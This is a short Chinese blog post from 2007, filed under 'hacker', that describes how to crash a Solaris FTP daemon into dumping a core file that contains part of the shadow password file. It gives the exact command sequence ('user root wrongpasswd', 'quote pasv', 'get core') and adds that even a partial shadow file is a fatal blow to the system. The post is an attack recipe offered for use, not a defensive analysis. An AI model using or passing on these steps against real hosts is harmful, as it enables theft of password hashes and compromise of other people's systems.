如何用FIP获取shadow口令文件
上一篇 /
下一篇 2007-08-25 04:00:07 / 天气: 阴雨
/ 心情: 高兴
/ 精华(1)
/ 置顶(1)
/ 个人分类：黑客
该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下： 1.通过 ftp 正常登录到目的主机上
2.输入如下命令序列：
ftp> user root wrongpasswd
ftp> quote pasv
3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。
4.再次进入FTP >get core
补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了
导入论坛
引用链接
收藏
分享给好友
推荐到圈子
管理
举报
TAG:
黑客
